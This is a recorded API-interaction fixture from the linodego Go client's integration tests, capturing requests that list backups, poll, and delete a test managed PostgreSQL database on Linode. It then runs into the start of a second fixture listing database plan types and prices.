Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [{"id": 805540, "type": "snapshot", "label": "postgresbackupforlinodego", "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "155" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups/805540 method: GET response: body: '{"id": 805540, "type": "snapshot", "label": "postgresbackupforlinodego", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "106" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "691" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "687" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDatabase_Type.yaml000066400000000000000000000447231455402072200310160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/types method: GET response: body: '{"page": 1, "pages": 1, "results": 19, "data": [{"id": "g6-nanode-1", "label": "DBaaS - Nanode 1GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.0375, "monthly": 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.0375, "monthly": 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 3, "price": {"hourly": 0.0675, "monthly": 45.0}}]}, "memory": 1024, "disk": 25600, "vcpus": 1, "class": "nanode"}, {"id": "g6-standard-1", "label": "DBaaS - Linode 2GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 2, "price": {"hourly": 0.075, "monthly": 50.0}}, {"quantity": 3, "price": {"hourly": 0.105, "monthly": 70.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 2, "price": {"hourly": 0.075, "monthly": 50.0}}, {"quantity": 3, "price": {"hourly": 0.105, "monthly": 70.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 2, "price": {"hourly": 0.09, "monthly": 60.0}}, {"quantity": 3, "price": {"hourly": 0.135, "monthly": 90.0}}]}, "memory": 2048, "disk": 51200, "vcpus": 1, "class": "standard"}, {"id": "g6-standard-2", "label": "DBaaS - Linode 4GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.09, "monthly": 60.0}}, {"quantity": 2, "price": {"hourly": 0.15, "monthly": 100.0}}, {"quantity": 3, "price": {"hourly": 0.21, "monthly": 140.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.09, "monthly": 60.0}}, {"quantity": 2, "price": {"hourly": 0.15, "monthly": 100.0}}, {"quantity": 3, "price": {"hourly": 0.21, "monthly": 140.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.09, "monthly": 60.0}}, {"quantity": 2, "price": {"hourly": 0.18, "monthly": 120.0}}, {"quantity": 3, "price": {"hourly": 